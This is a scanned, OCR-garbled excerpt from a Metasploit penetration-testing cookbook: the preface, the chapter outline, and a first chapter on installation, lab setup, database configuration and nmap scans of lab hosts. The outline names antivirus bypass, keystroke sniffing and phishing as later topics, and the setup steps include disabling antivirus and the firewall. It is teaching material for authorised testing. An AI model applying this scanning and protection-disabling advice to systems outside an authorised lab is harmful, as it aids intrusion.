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Preface

Penetration testing is one of the core aspects of network security in today's scenario. It
involves a complete analysis of the system by implementing real-life security tests. It helps in
identifying potential weaknesses in the system's major components which can occur either in
its hardware or software. The reason which makes penetration testing an important aspect
of security is that it helps in identifying threats and weaknesses from a hacker's perspective.
Loopholes can be exploited in real time to figure out the impact of vulnerability and then a
suitable remedy or patch can be explored in order to protect the system from any outside
attack and reduce the risk factors.

The biggest factor that determines the feasibility of penetration testing is the knowledge
about the target system. Black box penetration testing is implemented when there is no prior
knowledge of the target user. A pen-tester will have to start from scratch by collecting every bit
of information about the target system in order to implement an attack. In white box testing,
the complete knowledge about the target is known and the tester will have to identify any
known or unknown weakness that may exist. Either of the two methods of penetration testing
are equally difficult and are environment specific. Industry professionals have identified some
of the key steps that are essential in almost all forms of penetration testing. These are:

» Target discovery and enumeration: Identifying the target and collecting basic
information about it without making any physical connection with it

» Vulnerability identification: Implementing various discovery methods such as
scanning, remote login, and network services, to figure out different services and
software running on the target system

» Exploitation: Exploiting a known or an unknown vulnerability in any of the software
or services running on the target system

» Level of control after exploitation: This is the level of access that an attacker can
get on the target system after a successful exploitation

» Reporting: Preparing an advisory about the vulnerability and its possible
counter measures
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Preface

These steps may appear few in number, but in fact a complete penetration testing of a
high-end system with lots of services running on it can take days or even months to complete.
The reason which makes penetration testing a lengthy task is that it is based on the "trial

and error" technique. Exploits and vulnerabilities depend a Iot on the system configuration

S0 we can never be certain that a particular exploit will be successful or not unless we try

it. Consider the example of exploiting a Windows-based system that is running 10 different
services. A pen-tester will have to identify if there are any known vulnerabilities for those 10
different services. Once they are identified, the process of exploitation starts. This is a small
example where we are considering only one system. What if we have an entire network of
such systems to penetrate one by one?

This is where a penetration testing framework comes into action. They automate several
processes of testing like scanning the network, identifying vulnerabilities based on available
services and their versions, auto-exploit, and so on. They speed up the pen-testing process
by proving a complete control panel to the tester from where he/she can manage all the
activities and monitor the target systems effectively. The other important benefit of the
penetration testing framework is report generation. They automate the process of saving
the penetration testing results and generate reports that can be saved for later use,

or can be shared with other peers working remotely.

Metasploit Penetration Testing Cookbook aims at helping the readers in mastering one of
the most widely used penetration testing frameworks of today's scenarios. The Metasploit
framework is an open source platform that helps in creating real-life exploitation scenarios
along with other core functionalities of penetration testing. This book will take you to an
exciting journey of exploring the world of Metasploit and how it can be used to perform
effective pen-tests. This book will also cover some other extension tools that run over the
framework and enhance its functionalities to provide a better pen-testing experience.

What this book covers

Chapter 1, Metasploit Quick Tips for Security Professionals, is the first step into the world
of Metasploit and penetration testing. The chapter deals with a basic introduction to the
framework, its architecture and libraries. In order to begin with penetration testing, we
need a setup, so the chapter will guide you through setting up your own dummy penetration
testing environment using virtual machines. Later, the chapter discusses about installing
the framework on different operating systems. The chapter ends with giving the first taste
of Metasploit and an introduction about its interfaces.

Chapter 2, Information Gathering and Scanning, is the first step to penetration testing.

It starts with the most traditional way of information gathering and later on advances to
scanning with Nmap. The chapter also covers some additional tools such as Nessus and
NeXpose which covers the limitations of Nmap by providing additional information. At the
end, the chapter discusses about the Dradis framework which is widely used by pen-testers
to share their test results and reports with other remote testers.

—21
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Chapter 3, Operating System-based Vulnerability Assessment and Exploitation, talks

about finding vulnerabilities in unpatched operating systems running on the target system.
Operating system-based vulnerabilities have a good success rate and they can be exploited
easily. The chapter discusses about penetrating several popular operating systems such as
Windows XP, Windows 7, and Ubuntu. The chapter covers some of the popular, and known,
exploits of these operating systems and how they can be used in Metasploit to break into a
target machine.

Chapter 4, Client-side Exploitation and Antivirus Bypass, carries our discussion to the next
step where we will discuss how Metasploit can be used to perform client-side exploitation.
The chapter covers some of the popular client-side software such as Microsoft Office, Adobe
Reader, and Internet Explorer. Later on, the chapter covers an extensive discussion about
Killing the client-side antivirus protection in order to prevent raising the alarm in the

target system.

Chapter 5, Using Meterpreter to Explore the Compromised Target, discusses about the next
step after exploitation. Meterpreter is a post-exploitation tool that has several functionalities,
which can be helpful in penetrating the compromised target and gaining more information.
The chapter covers some of the useful penetration testing techniques such as privilege
escalation, accessing the file system, and keystroke sniffing.

Chapter 6, Advance Meterpreter Scripting, takes our Metasploit knowledge to the next level by
covering some advance topics, such as building our own meterpreter script and working with
API mixins. This chapter will provide flexibility to the readers as they can implement their own
scripts into the framework according to the scenario. The chapter also covers some advance
post exploitation concepts like pivoting, pass the hash and persistent connection.

Chapter 7, Working with Modules for Penetration Testing, shifts our focus to another
important aspect of Metasploit; its modules. Metasploit has a decent collection of specific
modules that can be used under particular scenarios. The chapter covers some important
auxiliary modules and later on advances to building our own Metasploit modules. The chapter
requires some basic knowledge of Ruby scripting.

Chapter 8, Working with Exploits, adds the final weapon into the arsenal by discussing how we
can convert any exploit into a Metasploit module. This is an advanced chapter that will enable
the readers to build their own Metasploit exploit modules and import it into the framework.

As all the exploits are not covered under the framework, this chapter can be handy in case

we want to test an exploit that is not there in the Metasploit repository. The chapter also
discusses about fuzzing modules that can be useful in building your own proof of concepts

for any vulnerability. Finally, the chapter ends with a complete example on how we can fuzz

an application to find the overflow conditions and then build a Metasploit module for it.

Chapter 9, Working with Armitage, is a brief discussion about one of the popular Metasploit
extensions, Armitage. It provides a graphical interface to the framework and enhances its
functionalities by providing point and click exploitation options. The chapter focuses on
important aspects of Armitage, such as quickly finding vulnerabilities, handling multiple
targets, shifting among tabs, and dealing with post exploitation.

(3 |-
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Chapter 10, Social Engineer Toolkit, is the final discussion of this book which covers yet
another important extension of framework. Social Engineer Toolkit (SET) is used to generate
test cases that rely on human negligence in order to compromise the target. The chapter
covers basic attack vectors related to SET that includes spear phishing, website attack
vector, generating infectious media such as a USB.

What you need for this book

To follow and recreate the recipes of this book, you will need two systems. One can be
your pen-testing system and the other can be your target. Alternatively, you can also
work with a single system and set up a penetration testing environment by using any
virtualization software.

Apart from that you will require an ISO image of BackTrack 5 which has pre-installed
Metasploit and other tools that we will be discussing in this book. Alternatively, you can
download the Metasploit framework separately for your preferred operating system from
its official website.

Who this book is for

This book targets both professional penetration testers, as well as new users of Metasploit
who are willing to expertise the tool. There is something for everyone. The book has a recipe
structure which is easy to read, understand, and recollect. The book starts with the basics of
penetration testing and later on advances to expert level. The transition from the beginners
to the advanced level is smooth. So, it can be easily read and understood by readers of all
categories. The book requires basic knowledge of scanning, exploitation, and Ruby language.

Conventions
In this book, you will find a number of styles of text that distinguish between different kinds
of information. Here are some examples of these styles, and an explanation of their meaning.

Code words in text are shown as follows: " The last two commands, vulns and db_autopwn
are post-exploitation commands, which we will deal with in later chapters."

A block of code is set as follows:

# Register command execution options
register options (

[

OptString.new('USER', [ true, "The
username to create", "metasploit" 1),

OptString.new('PASS', [ true, "The
password for this user", "metasploit" 1),

1, self.class)

—a1
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Any command-line input or output is written as follows:

$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run
New terms and important words are shown in bold. Words that you see on the screen,

in menus or dialog boxes for example, appear in the text like this: " You can either start
the Metasploit framework from the Applications menu or from the command line".

Warnings or important notes appear in a box like this.

Q Tips and tricks appear like this.

Reader feedback

Feedback from our readers is always welcome. Let us know what you think about this
book—what you liked or may have disliked. Reader feedback is important for us to develop
titles that you really get the most out of.

To send us general feedback, simply send an e-mail to feedbackepacktpub.com,
and mention the book title through the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing
or contributing to a book, see our author guide on www.packtpub.com/authors.

Customer support

Now that you are the proud owner of a Packt book, we have a number of things to help you
to get the most from your purchase.

Downloading the example code

You can download the example code files for all Packt books you have purchased from your
account at http://www.packtpub.com. If you purchased this book elsewhere, you can
visithttp://www.packtpub.com/support and register to have the files e-mailed directly
to you.
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Errata

Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our books—maybe a mistake in the text or the
code—we would be grateful if you would report this to us. By doing so, you can save other
readers from frustration and help us improve subsequent versions of this book. If you find

any errata, please report them by visiting http: //www.packtpub.com/support, selecting
your book, clicking on the errata submission form link, and entering the details of your
errata. Once your errata are verified, your submission will be accepted and the errata will be
uploaded to our website, or added to any list of existing errata, under the Errata section of
that title.

Piracy

Piracy of copyright material on the Internet is an ongoing problem across all media. At Packt,
we take the protection of our copyright and licenses very seriously. If you come across any
illegal copies of our works, in any form, on the Internet, please provide us with the location
address or website name immediately so that we can pursue a remedy.

Please contact us at copyright@packtpub.com with a link to the suspected
pirated material.

We appreciate your help in protecting our authors, and our ability to bring you
valuable content.

Questions

You can contact us at questions@packtpub. com if you are having a problem
with any aspect of the book, and we will do our best to address it.
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Metasploit Quick
Tips for Security
Professionals

In this chapter, we will cover:

» Configuring Metasploit on Windows

» Configuring Metasploit on Ubuntu

» Metasploit with BackTrack 5 - the ultimate combination

» Setting up the penetration testing lab on a single machine

» Setting up Metasploit on a virtual machine with SSH connectivity
» Beginning with the interfaces - the "Hello World" of Metasploit

» Setting up the database in Metasploit

» Using the database to store penetration testing results

» Analyzing the stored results of the database

Introduction

Metasploit is currently the most buzzing word in the field of information security and penetration
testing. It has totally revolutionized the way we can perform security tests on our systems.

The reason which makes Metasploit so popular is the wide range of tasks that it can perform

to ease the work of penetration testing to make systems more secure. Metasploit is available
for all popular operating systems. The working process of the framework is almost the same

for all of them. Here in this book, we will primarily work on BackTrack 5 OS as it comes with the
pre-installed Metasploit framework and other third-party tools which run over the framework.
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Metasploit Quick Tips for Security Professionals

Let us start with a quick introduction to the framework and the various terminologies related

to it:

Metasploit framework: It is a free, open source penetration testing framework
started by H. D. Moore in 2003 which was later acquired by Rapid7. The current
stable versions of the framework are written using the Ruby language. It has
the world's largest database of tested exploits and receives more than a million
downloads every year. It is also one of the most complex projects built in Ruby
to date.

Vulnerability: It is a weakness which allows an attacker/pen-tester to break
into/compromise a system's security. This weakness can either exist in the
operating system, application software, or even in the network protocols.

Exploit: Exploit is a code which allows an attacker/tester to take advantage of
the vulnerable system and compromise its security. Every vulnerability has its
own corresponding exploit. Metasploit v4 has more than 700 exploits.

Payload: It is the actual code which does the work. It runs on the system after
exploitation. They are mostly used to set up a connection between the attacking
and the victim machine. Metasploit v4 has more than 250 payloads.

Module: Modules are the small building blocks of a complete system. Every module
performs a specific task and a complete system is built up by combining several
modules to function as a single unit. The biggest advantage of such an architecture
is that it becomes easy for developers to integrate a new exploit code and tools into
the framework.

The Metasploit framework has a modular architecture and the exploits, payload, encoders,
and so on are considered as separate modules.

Metasploit Architecture

[ LBRARIES | | INTERFACES |

Console

CL

MSF Core

Web

PLUGINS

GUI

[ MODULES

(Payloadsj( Exploits j (Encodersj( Nops J( Aux

/L

Let us examine the architecture diagram closely.
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Chapter 1

Metasploit uses different libraries which hold the key to the proper functioning of the
framework. These libraries are a collection of pre-defined tasks, operations, and functions
that can be utilized by different modules of the framework. The most fundamental part of
the framework is the Ruby Extension (Rex) library. Some of the components provided by
Rex include a wrapper socket subsystem, implementations of protocol clients and servers,
a logging subsystem, exploitation utility classes, and a number of other useful classes.
Rex itself is designed to have no dependencies, other than what comes with the default
Ruby installation.

Then we have the MSF Core library which extends Rex. Core is responsible for implementing
all of the required interfaces that allow for interacting with exploit modules, sessions, and
plugins. This core library is extended by the framework base library which is designed to
provide simpler wrapper routines for dealing with the framework core, as well as providing
utility classes for dealing with different aspects of the framework, such as serializing a module
state to different output formats. Finally, the base library is extended by the framework's

User Interface (Ul) that implements support for the different types of user interfaces to the
framework itself, such as the command console and the web interface.

There are four different user interfaces provided with the framework namely msfconsole,
msfcli, msfgui, and msfweb. It is highly encouraged that one should check out all these
different interfaces, but in this book we will primarily work on the msfconsole interface. The
reason behind it is that msfconsole provides the best support to the framework, leveraging
all the functionalities.

Let us now move to the recipes of this chapter and practically analyze the various aspects.

Configuring Metasploit on Windows

Installation of the Metasploit framework on Windows is simple and requires almost no
effort. The framework installer can be downloaded from the Metasploit official website
(http://www.metasploit.com/download).

Getting ready

You will notice that there are two types of installer available for Windows. It is recommended
to download the complete installer of the Metasploit framework which contains the console
and all other relevant dependencies, along with the database and runtime setup. In case you
already have a configured database that you want to use for the framework as well, then

you can go for the mini installer of the framework which only installs the console

and dependencies.
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How to do it...

Once you have completed downloading the installer, simply run it and sit back. It will
automatically install all the relevant components and set up the database for you. Once the
installation is complete, you can access the framework through various shortcuts created by
the installer.

You will find that the installer has created lots of shortcuts for you. Most of the things are
click-and-go in a Windows environment. Some of the options that you will find are Metasploit
web, cmd console, Metasploit update, and so on.

While installing Metasploit on Windows, you should disable the
antivirus protection as it may detect some of the installation files as

potential viruses or threats and can block the installation process.
L Once the installation is complete, make sure that you have white-listed

the framework installation directory in your antivirus, as it will detect
the exploits and payloads as malicious.

There's more...

Now let's talk about some other options, or possibly some pieces of general information,
that are relevant to installing the Metasploit framework on Windows explicitly.

Database error during installation

There is a common problem with many users while installing the Metasploit framework on the
Windows machine. While running the setup you may encounter an error message, as shown in
the screenshot:

ol

*« Ermor |—

I.-"' % There has been an error.

'S Error running C:\Program
~ Files\Rapid7\frameworkl/postgresql/bin/psql.exe -U postgres -p 7175

-h localhost -c "ALTER USER postgres PASSWORD 'b6d590e5"™ @ psql:

could not connect to server: Connection refused ((:00002740/10061)
Is the server running on host "localhost” and accepting
TCP/IP connections on port 71757

could not connect to server: Connection refused ((:00002740/10061)
Is the server running on host "localhost” and accepting
TCP/IP connections on port 71757

The application will exit now.
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This is the result of an error in configuring the PostgreSQL server. The possible causes are:
» PostgreSQL not running. Use Netstat to figure out if the port is open and the database
is running.

» Some installers require a default installation path. For example, if the default path is
C drive, changing it to D drive will give this error.

» Language encoding.
If you face this problem then you can overcome it by downloading the simpler version of the

framework which contains only the console and dependencies. Then, configure the database
manually and connect it with Metasploit.

Configuring Metasploit on Ubuntu

The Metasploit framework has full support for Ubuntu-based Linux operating systems.
The installation process is a bit different from that of Windows.

Getting ready

Download the setup from the official Metasploit website (http://www.metasploit.com/
download).

Again, you will have the option to choose either a minimal setup or full setup. Choose your
download according to your need. The full setup will include all the dependencies, database
setup, environment etc whereas the minimal setup will only contain the dependencies with
no database setup.

How to do it...

The process for installing a full setup is a bit different from a minimal setup. Let us analyze
each of them:

» Full installer: You will need to execute the following commands to install the
framework on your Ubuntu machine:

$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run
» Minimal installer: You will need to execute the following commands to install the
framework with minimal options:
$ chmod +x framework-4.*-linux-mini.run

$ sudo ./framework-4.*-linux-mini.run

s
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The installation process demonstrated above is a simple Ubuntu-based installation procedure
for almost all software. Once the installation is complete, you can run hash -r to reload
your path.

This installation process can be followed on almost all
i flavors and versions of Linux.

Now let's talk about some other options, or possibly some pieces of general information that
are relevant to this task.

Error during installation

There can be chances that the installer may not work for you for some reason. Some versions
of Ubuntu come with broken libraries of the Ruby language, which may be one of the reasons
for the installation failure. In that case, we can install the dependencies separately by
executing the following commands:

For installing Ruby dependencies run:

$ sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby
libiconv-ruby libreadline-ruby irb ri rubygems

For installing the subversion client run:
$ sudo apt-get install subversion
For building native extensions run:

$ sudo apt-get install build-essential ruby-dev libpcap-dev
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After installing the following dependencies, download the Metasploit Unix tarball from
the official Metasploit download page and execute the following commands:

tar xf framework-4.X.tar.gz

sudo mkdir -p /opt/metasploit4

sudo cp -a msf4/ /opt/metasploit3/msf4

sudo chown root:root -R /opt/metasploit4/msf4

v v » »n O

sudo 1ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/

On successful execution of the preceding commands, the framework will be up and running
to receive your instructions.

Metasploit with BackTrack 5 - the ultimate

combination

BackTrack is the most popular operating system for security professionals for two reasons.
Firstly, it has all the popular penetration testing tools pre-installed in it so it reduces the cost
of a separate installation. Secondly, it is a Linux-based operating system which makes it less
prone to virus attacks and provides more stability during penetration testing. It saves your
time from installing relevant components and tools and who knows when you may encounter
an unknown error during the installation process.

Getting ready

Either you can have a separate installation of BackTrack on your hard disk or you can also
use it over a host on a virtual machine. The installation process is simple and the same as
installing any Linux-based operating system.

How to do it...

1. On booting the BackTrack OS, you will be asked to enter the username and password.
The default username for the root user is root and the password is toor.

2. On successful login, you can either work over the command line or enter startx to
enter in the GUI mode.

[}
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3. You can either start the Metasploit framework from the Applications menu or
from the command line. To launch Metasploit from the Applications menu go to
Applications | BackTrack | Exploitation Tools | Network Exploitation Tools |
Metasploit Framework, as shown in the following screenshot:

f [ SunOct 2, 9:43

b

+ @ Network Exploitation Tools

4. Metasploit follows a simple directory structure hierarchy where the root folder is
pentest. The directory further branches to /exploits/framework3. To launch
Metasploit from the command line, launch the terminal and enter the following
command to move to the Metasploit directory:

root@bt:~# cd /pentest/exploits/framework3

root@bt:/pentest/exploits/framework3 ~# ./msfconsole

Launching Metasploit from the command line will follow the complete path to msfconsole.
Launching it from the Application menu will provide us a direct access to different Uls
available to us.

Sz
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Setting up the penetration testing lab on a

single machine

You can always have a penetration testing lab set up by using multiple machines and it is
considered the ideal setup as well. But what if you have an emergency and you immediately
need to set up a testing scenario and you only have a single machine? Well using a virtual
machine is the obvious answer. You can work simultaneously on more than one operating
system and perform the task of penetration testing. So let us have a quick look at how we
can set up a penetration testing lab on a single system with the help of a virtual machine.

Getting ready

We will be using a virtual box to set up two virtual machines with BackTrack 5 and Windows
XP SP2 operating systems. Our host system is a Windows 7 machine. We will need the virtual
box installer and either an image file or an installation disk of the two operating systems

we want to set up in the virtual machine. So our complete setup will consist of a host

system running Windows 7 with two virtual systems running BackTrack 5 and Windows

XP SP2 respectively.

How to do it...

The process of installing a virtual machine is simple and self-explanatory. Follow these steps:

1. After installing the virtual box, create a new virtual machine. Select the
appropriate options and click on Next. You will have to provide an installation
medium to start the setup. The medium can either be an image file or installation
disk. For a complete manual on a virtual machine and installation procedure,
you can visit the following link:

http://www.virtualbox.org/manual /UserManual .html

2. For a better virtual machine performance, it is recommended to have at least 4 GB
of available RAM for a 32-bit operating system and 8 GB RAM for 64-bit. In the next
recipe, | will show you a cool way to bring down your memory usage while running
multiple virtual machines.

3. Once the virtual machine (VM) is created, you can use the "clone" option. This will
create an exact copy of your VM so in case some failure occurs in your operating VM,
then you can switch to the cloned VM without worrying about re-installing it. Also you
can use the "snapshot" option to save the current state of your VM. Snapshot will
save the current working settings of your virtual machine and you can revert back
to your saved snapshot anytime in the future.

]
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Before you start your virtual machines, there is an important configuration that we will have to
make in order to make the two virtual machines communicate with each other. Select one of
the virtual machines and click on Settings. Then move to Network settings. In the Network
adapter, there will be a pre-installed NAT adapter for internet usage of the host machine.
Under Adapter 2 select Host only Adapter:

{53 BTS - Settings GR
E General | Network
System
Display | Adapter 1 | Adapter2 | Adapter3 | Adapter 4
@& storage [¥] Enable Metwork Adapter
I P Audio Attached to:
| |@ Metwork Name: |VirtualBox Host-Only Ethernet Adapter -
! |@ Serial Ports I» Advanced
& use
[ Shared Folders

Salect a settngs category from the kst on the left-hand side and move the mouss over a sattings
ftam fo get more informadion.

ok || cencel || Hep |

Follow this process for both the virtual machines. The reason for setting up Host-only adapter
is to make the two virtual machines communicate with each other. Now, in order to test
whether everything is fine, check the IP address of the windows virtual machine by entering
ipconfig in the command prompt. Now ping the Windows machine (using the local IP
address obtained from the ipconfig command) from the BackTrack machine to see if it is
receiving the packets or not. Follow the vice versa process to crosscheck both the machines.

Now let's talk about some other options, or possibly some pieces of general information,
that are relevant to this task.

Disabling the firewall and antivirus protection

There can be situations when we may find that while pinging the Windows machine from the
BackTrack machine the packets are not received. That means the Windows machine is not

6]
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alive. This can possibly be due to the default Windows firewall setting. So, disable the firewall
protection and ping again to see if the packets are getting received or not. Also, disable any
firewall that may be installed in the virtual machine.

Installing virtual box guest additions

A Virtual box provides an additional installation of add-ons that can improve your virtual usage
experience. Some of its key benefits are:

» Seamless mouse movement from host OS to virtual OS
» Automatic keyboard integration to virtual 0OS

» Better screen size

To install the guest additions, power on the virtual machine, go to the Device tab and click
on Install guest additions.

Setting up Metasploit on a virtual machine

with SSH connectivity

In the previous recipe, we focused on setting up a penetration testing lab on a single machine
with the help of virtualization. But there can be serious memory usage concerns while using
multiple virtual machines. So, here we will discuss a conservation technique which can be
really handy in bad times.

Getting ready

All we need is an SSH client. We will use PUTTY as it is the most popular and free SSH client
available for Windows. We will set up an SSH connectivity with the Backtrack machine as it
has more memory consumption than the Windows XP machine.

How to do it...

1. We will start by booting our BackTrack virtual machine. On reaching the login prompt,
enter the credentials to start the command line. Now don't start the GUI. Execute any
one of the following commands:

root@bt:~# /etc/init.d/start ssh
root@bt:~# start ssh

This will start the SSH process on the BackTrack machine.
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2. Now find the IP address of the machine by entering the following command:

root@bt:~# ifconfig

Note down this IP address.

3. Now start PuTTY on the host operating system. Enter the IP address of the BackTrack

virtual machine and enter port 22:

Category:

‘- Logging
= Teminal

- Keyboard
.. Bell 192.168.56.101

- Features Connection type:

- Appearance
- Behaviour
.. Translation Saved Sessions

- Selection

&~ Session [ Basic options for your PuTTY session
Specify the destination you want to connect to
Host Name (or IP address)

Port
22

= Window )Raw () Telnet () Rlogin @) SSH

Load, save or delete a stored session

- Colours Default Settings
=} Connection

Close window on exit:
) Always ) Never

@ Only on clean exit

4. Now click on Open to launch the command line. If the connection is successful, you
will see the PUTTY command line functioning on behalf of the BackTrack machine. It
will ask you to log in. Enter the credentials and enter ifconfig to check if the IP is

the same as that of the virtual BackTrack:
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In this SSH session we can now interact with the BackTrack virtual machine using PuTTY. As
the GUI is not loaded, it reduces the memory consumption by almost half. Also minimizing the
BackTrack virtual machine will further reduce memory consumption as the Windows operating
system provides less memory share to the processes that are minimized and provides faster
execution of those tasks that are running in maximized mode. This will further reduce the
memory consumption to some extent.

Beginning with the interfaces - the "Hello

World” of Metasploit

Interfaces provide a front end for the user to communicate with the software or platform.
Metasploit has four interfaces namely msfgui, msfweb, msfcli, and msfconsole. It
is highly recommended that you check out all the interfaces, but here in this book we will
primarily focus on the msfconsole interface. It is the most powerful and fully integrated
interface among them all.

[}
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Getting ready

Boot up your operating system on which you have installed Metasploit. If you are using it on a
virtual machine then start it.

How to do it...

Launching msfconsole is an easy task. Follow these steps:
1. For a Windows operating system, you can launch msfconsole by going to Start |
metasploit framework | msfconsole.

2. For BackTrack you can browse to Applications | Exploitation tools | Network
exploitation tools | Metasploit framework | msfconsole.

3. To launch it directly from the terminal add the following command:
root@bt:~# cd /pentest/exploits/framework3

4. The working directory will change to framework3. Entering the following command
will start our msfconsole:

root@bt:/pentest/exploits/framework3# ./msfconsole

Now, our msfconsole interface is up and running, and ready to receive the commands.

Metasploit interfaces extend the base library which enables them to evoke initial
functionalities of the framework. Simple commands, such as setting up exploits and payloads,
running updates, and configuring the database can be executed. Once the process grows
deep, the other functional libraries are called accordingly.

Let us add some additional stuff that you can perform at this stage with the
msfconsole interface.

Some commands to try out and get started
Here are some commands that you can try out to explore deeper:

» msf > 1s: The 1s command will list all the directories and files that are available.
You can further navigate deeper into other directories to explore further.

=]
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» msf > help: This command will list all the available commands for the Metasploit
framework that we can use. The commands are categorized into core commands
and database backend commands. The former contains commands which are
directly related to the framework, while the latter provides commands to interact
with the database.

» msf >msfupdate: This command should be used frequently to update the
framework with the latest exploits, payloads, libraries, and so on.

Setting up the database in Metasploit

An important feature of Metasploit is the presence of databases which you can use to store
your penetration testing results. Any penetration test consists of lots of information and can
run for several days so it becomes essential to store the intermediate results and findings.
So a good penetration testing tool should have proper database integration to store the
results quickly and efficiently.

Getting ready

Metasploit comes with PostgreSQL as the default database. For the BackTrack machine, we
have one more option—MySQL. You can use either of the two databases. Let us first check out
the default settings of the PostgreSQL database. We will have to navigate to database.yml
located under opt /framework3/config. To do this, run the following command:

root@bt:~# cd /opt/framework3/config
root@bt:/opt/framework3/config# cat database.yml

production:
adapter: postgresql
database: msf3
username: msf3
password: 8b826ac0
host: 127.0.0.1
port: 7175

pool: 75

timeout: 5

Notice the default username, password, and default database that has been created.
Note down these values as they will be required further. You can also change these
values according to your choice as well.

How to do it...

Now our job is to connect the database and start using it. Let us launch the msfconsole
and see how we can set up the databases and store our results.

s
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Let us first check the available database drivers.

msf > db_driver
[*]Active Driver: postgresql

[*]Available: postgresql, mysql

PostgreSQL is set as the default database. If you want to change the database driver then you
can execute the following command:

Msf> db_driver mysql

[*]Active Driver: Mysql

This will change the active driver to MySQL. In this book, we will primarily be using PostgreSQL
for demonstrations.

. Rapid7 has dropped the support for MySQL database in the recent
& versions of Metasploit so the db_driver command may not work.
i The only default driver supported with the framework in that case will
be PostgreSQL.

To connect the driver to msfconsle we will be using the db_connect command.
This command will be executed using the following syntax:

db connect username:password@hostIP:port number/database name

Here we will use the same default values of username, password, database name, and port
number which we just noted down from the database.yml file:

msf > db connect msf3:8b826ac0@127.0.0.1:7175/msf3

On successful execution of the command, our database is fully configured.

There's more...

Let us discuss some more important facts related to setting up the database.

Getting an error while connecting the database

There are chances of an error while trying to establish the connection. There are two things
to keep in mind if any error arises:

» Checkthe db_driver and db_connect commands and make sure that you are
using the correct combination of the database.

=
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» Use start/etc/init.d to startthe database service and then try connecting it.

If the error still prevails then we can re-install the database and associated libraries using the
following commands:
msf> gem install postgres

msf> apt-get install libpg-dev

Deleting the database

At any time, you can drop the database created and start again to store fresh results.
The following command can be executed for deleting the database:

msf> db destroy msf3:8b826ac0@127.0.0.1:7175/ms£3

Database "msf3" dropped.

msf>

Using the database to store penetration

testing results

Let us now learn how we can use our configured database to store our results of the
penetration tests.

Getting ready

If you have successfully executed the previous recipe, you are all set to use the database
for storing the results. Enter the help command in msfconsole to have a quick look at
the important database commands available to us.

How to do it...

Let us start with a quick example. The db_nmap command stores the results of the port scan
directly into the database, along with all relevant information. Launch a simple Nmap scan on
the target machine to see how it works:

msf > db nmap 192.168.56.102

[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03
IST

[*] Nmap: Nmap scan report for 192.168.56.102
[*] Nmap: Host is up (0.0012s latency)

[*] Nmap: Not shown: 997 closed ports

[*] Nmap: PORT STATE SERVICE
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[*] Nmap: 135/tcp open msrpc

[*] Nmap: 139/tcp open netbios-ssn

[*] Nmap: 445/tcp open microsoft-ds

[*] Nmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds

As we can see, Nmap has produced the scan results and it will automatically populate the
ms£3 database that we are using.

We can also use the -oX parameter in the Nmap scan to store the result in XML format. This
will be very beneficial for us to import the scan results in other third-party software, such as
the Dardis framework which we will be analyzing in our next chapter.

msf > nmap 192.168.56.102 -A -0X report

[*] exec: nmap 192.168.56.102 -A -oX report

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-05 11:57 IST
Nmap scan report for 192.168.56.102

Host is up (0.0032s latency)

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

Here report is the name of the file where our scanned result will be stored. This will be
helpful for us in later recipes of the book.

The db_nmap command creates an SQL query with various table columns relevant to the scan
results. Once the scan is complete, it starts storing the values into the database. The flexibility
to store results in the form of spreadsheets makes it easier to share the results locally or with

third-party tools.

Analyzing the stored results of the database

After storing the testing results in the database, the next step is to analyze it. Analyzing the
data will give us a deeper understanding of our target systems. The results of the database
can be kept either for a long time or for a short time storage depending upon the usage.

=
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Getting ready

Launch msfconsole and follow the steps mentioned in the previous recipe to establish the
database connectivity. We can either use it to store fresh results or analyze the previously
stored results as well. The XML file for the Nmap scan created in the previous recipe can be
imported to analyze the previous scan results.

How to do it...

Let us analyze some of the important commands to have a clearer understanding of the
stored results:

» msf > hosts: This command will show all the hosts that are available in the
database. Let us analyze the output of this command:

\Applicatmns Places System E}
A v x Terminal
File Edit View Terminal Help

msf > hosts

info

The preceding screenshot snapshot reflects the output of the hosts command.

As we can observe, the result of this command is not very clean, as there are lots
of columns in the table. So we can move ahead and add filters and view only those
columns which we are interested in, as illustrated by the following command :

msf > hosts -c¢ address,os name

address os_ name

=]
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192.168.56.1

192.168.56.101

192.168.56.102 Microsoft Windows
192.168.56.103 Linux

» msf > services: This is another interesting command that can give us useful
information about the different services running on the target machines:

msf > services

Services

host port proto name state info
192.168.56.101 111 tcp rpcbind open
192.168.56.102 135 tcp msrpc open

192.168.56.102 139 tcp netbios-ssn open

192.168.56.102 445 tcp microsoft-ds open

192.168.56.102 135 tcp msrpc open Microsoft Windows
RPC

» msf > vulns: This command lists all the vulnerabilities that exist in the hosts present
in the database.

» msf >db_autopwn: This is a powerful command that is used to automate the
process of exploiting the target machines that are available in the database. This
command requires more understanding about the exploitation process so we will
analyze this command later.

The analysis process is simple and can be easily filtered to get the desired results. We have
seen how to read the database output and how we can manage it efficiently. The last two
commands, vulns and db_autopwn are post-exploitation commands, which we will deal
with in later chapters.

=]
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Information Gathering
and Scanning

In this chapter, we will cover:

» Passive information gathering 1.0 - the traditional way
» Passive information gathering 2.0 - the next level

» Port scanning - the Nmap way

» Exploring auxiliary modules for scanning

» Target service scanning with auxiliary modules

» Vulnerability scanning with Nessus

» Scanning with NeXpose

» Sharing information with the Dradis framework

Introduction

Information gathering is the first basic step towards penetration testing. This step is carried out
to find out as much information about the target machine as possible. The more information we
have, the better will be our chances of exploiting the target. During the information gathering
phase, our main focus is to collect facts about the target machine, such as the IP address,
available services, open ports. This information plays a vital role in the process of penetration
testing. There are basically three types of techniques used in information gathering.

» Passive information gathering
» Active information gathering

» Social engineering
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Let us take a quick look at these processes:

» Passive information gathering: This technique is used to gain information about the
target without having any physical connectivity or access to it. This means that we
use other sources to gain information about the target like using the whois query,
Nslookup, and so on. Suppose our target is an online web application then a simple
whois lookup can provide us a lot of information about the web application, like its
IP address, its domains, and sub-domains, location of server, hosting server, and so
